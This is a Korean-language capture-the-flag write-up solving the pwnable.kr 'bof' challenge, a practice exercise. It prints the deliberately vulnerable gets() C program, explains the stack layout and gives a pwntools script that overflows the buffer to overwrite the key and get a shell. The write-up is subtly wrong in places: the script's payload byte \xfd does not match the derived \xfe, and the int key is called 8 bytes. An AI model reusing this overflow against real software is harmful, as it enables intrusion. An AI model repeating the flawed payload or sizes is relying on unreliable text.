이름부터 bof이다
코드 보자
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
key값이 0xdeadbeef로 들어갔는데 bof로 이부분을 0xcafebabe로 바꿔주면 /bin/sh가 실행되어 끝나는 문제이다
(한 문장이 되게 길다)
스택 프레임부터 파악해보도록 하자

cmp로 ebp+0x8과 0xcafebabe를 비교하고 있다 -> ebp+0x8이 key 위치
gets 전 인자 호출을 보면 lea eax, [ebp-0x2c] 이므로 ebp-0x2c가 overflowme 위치
정리하면..
ebp-0x48 (sub esp, 0x48을 빼줌)
ㄴ 거기서 ebp-0xc도 있고 -> 12 bytes
ㄴ 거기서 0x2c도 있음 -> 이건 overflowme -> 32 bytes, 0x2c인 이유는 12+32이니까
ㄴ 나머진 몰?루
ebp(sfp) -> 86이니까 4bytes
ret(함수호출규약에 의해 stack에 꼭 존재) -> 86이니까 4bytes
ebp+0x8 -> key
설명이 더러우니까 표로 깔끔하게 정리하면…
| 스택은 아래서 위로 | ||
|---|---|---|
| sub esp, 0x48 | ebp-0x48 | 더미 |
| ebp-0x2c | overflowme 32 bytes |
|
| ebp-0xc | 더미 12 bytes |
|
| ebp(sfp) | 4 bytes | |
| ret (func) | 4 bytes | |
| ebp+0x8 (인자니까 ret전에) | key 8 bytes 리틀엔디언 지켜서 \xbe\xba\xfe\xca |
4+4+12+32 52 bytes로 채우고 \xbe\xba\xfe\xca
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xbe\xba\xfe\xca
pwntools와 친숙해져야 하니까 간단하게 작성해보자..
from pwn import *
p=remote('pwnable.kr',9000)
payload=b'A'*52+b'\xbe\xba\xfd\xca'
p.sendline(payload)
p.interactive()
뭐지 왜 안되지 했는데 flag가 그냥 daddy~였다